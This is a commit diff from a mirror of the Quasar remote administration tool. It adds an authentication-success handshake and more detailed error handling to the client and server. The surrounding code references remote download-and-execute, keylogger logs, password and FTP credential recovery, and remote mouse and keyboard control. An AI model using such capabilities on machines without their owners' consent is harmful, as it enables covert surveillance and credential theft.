mirror of https://github.com/quasar/Quasar.git
parent
e097c6478a
commit
c1bd080c40
|
@ -96,6 +96,7 @@
|
|||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\GetPasswords.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\FileZilla.cs" />
|
||||
<Compile Include="Core\Recovery\FtpClients\WinSCP.cs" />
|
||||
<Compile Include="Core\Utilities\FileSplit.cs" />
|
||||
|
|
|
@ -81,6 +81,10 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
onError("GetDirectory: I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("GetDirectory: Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(message))
|
||||
|
@ -153,6 +157,15 @@ namespace xClient.Core.Commands
|
|||
|
||||
public static void HandleDoPathDelete(Packets.ServerPackets.DoPathDelete command, Client client)
|
||||
{
|
||||
bool isError = false;
|
||||
string message = null;
|
||||
|
||||
Action<string> onError = (msg) =>
|
||||
{
|
||||
isError = true;
|
||||
message = msg;
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
switch (command.PathType)
|
||||
|
@ -169,13 +182,44 @@ namespace xClient.Core.Commands
|
|||
|
||||
HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.Path)), client);
|
||||
}
|
||||
catch
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("DeletePath: No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("DeletePath: Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("DeletePath: Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("DeletePath: I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("DeletePath: Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(message))
|
||||
new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleDoPathRename(Packets.ServerPackets.DoPathRename command, Client client)
|
||||
{
|
||||
bool isError = false;
|
||||
string message = null;
|
||||
|
||||
Action<string> onError = (msg) =>
|
||||
{
|
||||
isError = true;
|
||||
message = msg;
|
||||
};
|
||||
|
||||
try
|
||||
{
|
||||
switch (command.PathType)
|
||||
|
@ -192,8 +236,30 @@ namespace xClient.Core.Commands
|
|||
|
||||
HandleGetDirectory(new Packets.ServerPackets.GetDirectory(Path.GetDirectoryName(command.NewPath)), client);
|
||||
}
|
||||
catch
|
||||
catch (UnauthorizedAccessException)
|
||||
{
|
||||
onError("RenamePath: No permission");
|
||||
}
|
||||
catch (PathTooLongException)
|
||||
{
|
||||
onError("RenamePath: Path too long");
|
||||
}
|
||||
catch (DirectoryNotFoundException)
|
||||
{
|
||||
onError("RenamePath: Path not found");
|
||||
}
|
||||
catch (IOException)
|
||||
{
|
||||
onError("RenamePath: I/O error");
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
onError("RenamePath: Failed");
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (isError && !string.IsNullOrEmpty(message))
|
||||
new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -90,7 +90,13 @@ namespace xClient.Core.Commands
|
|||
{
|
||||
if (desktopData != null)
|
||||
{
|
||||
desktop.UnlockBits(desktopData);
|
||||
try
|
||||
{
|
||||
desktop.UnlockBits(desktopData);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
desktop.Dispose();
|
||||
}
|
||||
|
@ -99,30 +105,36 @@ namespace xClient.Core.Commands
|
|||
|
||||
public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
int offsetX = allScreens[command.MonitorIndex].Bounds.X;
|
||||
int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
|
||||
Point p = new Point(command.X + offsetX, command.Y + offsetY);
|
||||
|
||||
switch (command.Action)
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
int offsetX = allScreens[command.MonitorIndex].Bounds.X;
|
||||
int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
|
||||
Point p = new Point(command.X + offsetX, command.Y + offsetY);
|
||||
|
||||
switch (command.Action)
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.MoveCursor:
|
||||
NativeMethodsHelper.DoMouseMove(p);
|
||||
break;
|
||||
case MouseAction.ScrollDown:
|
||||
NativeMethodsHelper.DoMouseScroll(p, true);
|
||||
break;
|
||||
case MouseAction.ScrollUp:
|
||||
NativeMethodsHelper.DoMouseScroll(p, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
case MouseAction.LeftDown:
|
||||
case MouseAction.LeftUp:
|
||||
NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.RightDown:
|
||||
case MouseAction.RightUp:
|
||||
NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
|
||||
break;
|
||||
case MouseAction.MoveCursor:
|
||||
NativeMethodsHelper.DoMouseMove(p);
|
||||
break;
|
||||
case MouseAction.ScrollDown:
|
||||
NativeMethodsHelper.DoMouseScroll(p, true);
|
||||
break;
|
||||
case MouseAction.ScrollUp:
|
||||
NativeMethodsHelper.DoMouseScroll(p, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -8,6 +8,7 @@ namespace xClient.Core.Data
|
|||
public static string CurrentPath { get; set; }
|
||||
public static string InstallPath { get; set; }
|
||||
public static bool AddToStartupFailed { get; set; }
|
||||
public static bool IsAuthenticated { get; set; }
|
||||
|
||||
static ClientData()
|
||||
{
|
||||
|
|
|
@ -496,9 +496,18 @@ namespace xClient.Core.Networking
|
|||
|
||||
using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
try
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
|
||||
OnClientRead(packet);
|
||||
OnClientRead(packet);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
process = false;
|
||||
OnClientFail(ex);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
_receiveState = ReceiveType.Header;
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
using xClient.Core.Commands;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Networking;
|
||||
using xClient.Core.ReverseProxy;
|
||||
|
||||
|
@ -10,11 +11,20 @@ namespace xClient.Core.Packets
|
|||
{
|
||||
var type = packet.GetType();
|
||||
|
||||
if (type == typeof(ServerPackets.GetAuthentication))
|
||||
if (!ClientData.IsAuthenticated)
|
||||
{
|
||||
CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
|
||||
if (type == typeof(ServerPackets.GetAuthentication))
|
||||
{
|
||||
CommandHandler.HandleGetAuthentication((ServerPackets.GetAuthentication)packet, client);
|
||||
}
|
||||
else if (type == typeof(ServerPackets.SetAuthenticationSuccess))
|
||||
{
|
||||
ClientData.IsAuthenticated = true;
|
||||
}
|
||||
return;
|
||||
}
|
||||
else if (type == typeof(ServerPackets.DoDownloadAndExecute))
|
||||
|
||||
if (type == typeof(ServerPackets.DoDownloadAndExecute))
|
||||
{
|
||||
CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet,
|
||||
client);
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
using System;
|
||||
using xClient.Core.Networking;
|
||||
|
||||
namespace xClient.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class SetAuthenticationSuccess : IPacket
|
||||
{
|
||||
public SetAuthenticationSuccess()
|
||||
{
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -86,6 +86,7 @@ namespace xClient
|
|||
typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
|
||||
typeof (Core.Packets.ServerPackets.DoUploadFile),
|
||||
typeof (Core.Packets.ServerPackets.GetPasswords),
|
||||
typeof (Core.Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Core.Packets.ClientPackets.SetStatus),
|
||||
typeof (Core.Packets.ClientPackets.SetStatusFileManager),
|
||||
|
@ -213,6 +214,8 @@ namespace xClient
|
|||
|
||||
private static void ClientState(Client client, bool connected)
|
||||
{
|
||||
ClientData.IsAuthenticated = false;
|
||||
|
||||
if (connected && !ClientData.Disconnect)
|
||||
_reconnect = true;
|
||||
else if (!connected && ClientData.Disconnect)
|
||||
|
|
|
@ -54,6 +54,8 @@ namespace xServer.Core.Commands
|
|||
FrmMain.Instance.ShowPopup(client);
|
||||
|
||||
client.Value.IsAuthenticated = true;
|
||||
new Packets.ServerPackets.SetAuthenticationSuccess().Execute(client);
|
||||
|
||||
if (Settings.ShowToolTip)
|
||||
new Packets.ServerPackets.GetSystemInfo().Execute(client);
|
||||
}
|
||||
|
|
|
@ -447,9 +447,18 @@ namespace xServer.Core.Networking
|
|||
|
||||
using (MemoryStream deserialized = new MemoryStream(_payloadBuffer))
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
try
|
||||
{
|
||||
IPacket packet = (IPacket)_serializer.Deserialize(deserialized);
|
||||
|
||||
OnClientRead(packet);
|
||||
OnClientRead(packet);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
_receiveState = ReceiveType.Header;
|
||||
|
|
|
@ -153,6 +153,7 @@ namespace xServer.Core.Networking
|
|||
typeof (Packets.ServerPackets.GetKeyloggerLogs),
|
||||
typeof (Packets.ServerPackets.DoUploadFile),
|
||||
typeof (Packets.ServerPackets.GetPasswords),
|
||||
typeof (Packets.ServerPackets.SetAuthenticationSuccess),
|
||||
typeof (Packets.ClientPackets.GetAuthenticationResponse),
|
||||
typeof (Packets.ClientPackets.SetStatus),
|
||||
typeof (Packets.ClientPackets.SetStatusFileManager),
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
using System;
|
||||
using xServer.Core.Networking;
|
||||
|
||||
namespace xServer.Core.Packets.ServerPackets
|
||||
{
|
||||
[Serializable]
|
||||
public class SetAuthenticationSuccess : IPacket
|
||||
{
|
||||
public SetAuthenticationSuccess()
|
||||
{
|
||||
}
|
||||
|
||||
public void Execute(Client client)
|
||||
{
|
||||
client.Send(this);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -140,6 +140,7 @@
|
|||
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\SetAuthenticationSuccess.cs" />
|
||||
<Compile Include="Core\Utilities\FrameCounter.cs" />
|
||||
<Compile Include="Core\Helper\NativeMethodsHelper.cs" />
|
||||
<Compile Include="Core\Helper\PlatformHelper.cs" />
|
||||
|
|
Loading…
Reference in New Issue